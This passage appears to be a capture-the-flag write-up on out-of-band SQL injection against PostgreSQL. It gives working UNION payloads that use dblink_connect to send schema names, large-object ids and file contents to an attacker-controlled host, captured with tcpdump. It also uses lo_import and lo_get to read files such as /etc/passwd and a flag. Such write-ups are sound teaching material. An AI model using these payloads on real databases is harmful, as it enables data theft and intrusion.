Because the pg_sleep also doesn't cause delay, we can safely assume if query execution occurs in the background or asynchronously.
Normally, dblink_connect can be used to open a persistent connection to a remote PostgreSQL database (e.g. SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')). Because we can control the parameter of this function, we can perform SQL Server Side Request Forgery to our own host. That means, we can perform Out-of-Band SQL Injection to exfiltrate data from SQL query results. At least, there are two ways to do this:
Set up a DNS server and then trigger the connection to [data].our.domain so that we can see the data in the log or in the DNS network packets.
Set up a public PostgreSQL server, monitor the incoming network packets to PostgreSQL port, and then trigger a connection to our host with exfiltrated data as user/dbname. By default, PostgreSQL doesn't use SSL for communication so we can see user/dbname as a plain-text on the network.
The second method is easier because we don't need any domain. We only need to set up a server with a public IP, install PostgreSQL, set the PostgreSQL service to listen to */0.0.0.0, and run a network dumper (e.g. tcpdump) to monitor traffic to the PostgreSQL port (5432 by default).
To set PostgreSQL so that it will listen to the public, set listen_addresses in postgresql.conf to *.
listen_addresses = '*'
To monitor incoming traffic, run tcpdump to monitor port 5432.
sudo tcpdump -nX -i eth0 port 5432
To see if we get a connection from the target, we can try using this query:
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
If successful, we get a piece of network packet with readable user and dbname.
Then, we can continue to extract the database using several PostgreSQL queries. Note that for each query result that contains whitespaces, we need to convert the result to hex/base64 with encode function or replace the whitespace to other character with replace function because it will cause an execution error during dblink_connect process.
Get a list of schemas:
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
It looks like it only has one empty table in the current schema and the flag is not in the database. We may really need to exfiltrate data from /var/lib/postgresql/data/secret. Unfortunately, if we try to use pg_read_file or pg_read_binary_file to read the file, we will not get an incoming connection so that the current user may not have permission to use these functions.
More info of asynchronous SQLInjection with postdresql
It's possible to read file using large objects (https://www.postgresql.org/docs/11/lo-funcs.html). We can use lo_import to load the contents of the file into the pg_largeobject catalog. If the query is success, we will get the object's oid.
We got 24668 as oid so that means we can use lo_import function. Unfortunately, we won't get any results if we try to get the content of large object using lo_get(24668) or directly access the pg_largeobject catalog. It looks like the current user doesn't have permission to read the content of new objects.
After reading the documentation of large objects in PostgreSQL, we can find out that large objects can has ACL (Access Control List). That means, if there is an old object with an ACL that allows current user to read it, then we can exfiltrate that object's content.
We can get a list of available large object's oid by extracting from pg_largeobject_metadata.
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
We got a bunch of oids. We can try using lo_get to load object's content. For example, lo_get(16439) will load the content of /etc/passwd. Because the result of lo_gets is bytea, we need to convert it to UTF8 so that it can be appended in the query.
We can try to load some objects with lowest oid to find out if the flag file has been loaded before. The flag file object does exist with oid 16444. There are no whitespaces in the flag so we can just display it as is.